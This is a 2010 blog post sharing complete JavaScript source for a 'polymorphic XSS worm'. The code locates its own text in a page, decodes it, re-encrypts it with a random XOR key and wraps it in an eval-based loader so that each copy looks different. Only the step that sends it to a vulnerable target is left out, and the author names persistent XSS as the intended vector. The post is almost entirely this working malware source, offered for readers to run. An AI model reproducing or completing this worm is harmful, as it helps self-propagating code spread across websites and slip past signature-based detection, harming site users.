This site is soon to be deprecated by http://www.johnleitch.net

Sunday, March 28, 2010

Polymorphic XSS Worm

Note: This entry is out of date; several fixes have been made. New download here

As the title suggests here is a generic, polymorphic XSS worm. With each infection the worm re-encrypts itself using a basic XOR cipher. The only piece missing is the code that sends the obfuscated script (stored in the encoded variable) to it's next target, likely a persistent XSS vulnerability. Below is the complete source. To see it in action save the source to an HTML file then view it. The javascript outputted to the text area is the repackaged worm; to test the repackaged source, replace the javascript of the sample below with the encrypted code and view the page again.


Polymorphic XSS Worm Source


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>Polymorphic XSS Worm</title>
</head>
<body>
<textarea id="xssWorm" style="width:400px;height:600px;"></textarea>

<script type="text/javascript">
/* Polymorphic XSS Worm by John Leitch - john.leitch5@gmail.com */

/*worm start*/
var startToken = '/*worm start*/',
endToken = '/*worm ' + 'end*/';

function encode(code) {
var key = Math.floor(Math.random() * 256);

var packed = startToken + 'var k=' + key + ';var a=[';

for (var i = 0; i < code.length; i++) {
packed += (code.charCodeAt(i) ^ key) + ',';
}

packed += '];var d=\'\';' +
'for (var i=0;i<a.length;i++)' +
'{d+=String.fromCharCode(a[i]^k);}eval(d);' + endToken;

return packed;
}

function decode(code) {
var keyMatch = code.match(/var\sk=(\d+)/);

if (keyMatch == null) {
alert('key not found');

return;
}

var key = keyMatch[1];

var codeMatch = code.match(/var\sa=\[([\d{1,3},]+)\];/);

if (codeMatch == null) {
alert('packed code not found');

return;
}

var unpacked = '';

var codeBytes = codeMatch[1].split(',');

for (var i = 0; i < codeBytes.length; i++) {
if (!codeBytes[i]) {
continue;
}

unpacked += String.fromCharCode(codeBytes[i] ^ key);
}

return unpacked;
}

function findSelf(response) {
var x = response.indexOf(startToken) + startToken.length;
var y = response.indexOf(endToken, x);

var code = response.substring(x, y);

return code;
}

var code = findSelf(document.body.innerHTML);

if (code.indexOf('var k=') == 0) {
code = decode(code);
}

var encoded = encode(code);

// This is where the newly obfuscated worm (stored in encoded)
// is passed on to it's next target. But because we don't have a
// target we'll spit the newly obfuscated code out to a textarea.

document.getElementById('xssWorm').value = encoded;
/*worm end*/
</script>
</body>
</html>

No comments:

Post a Comment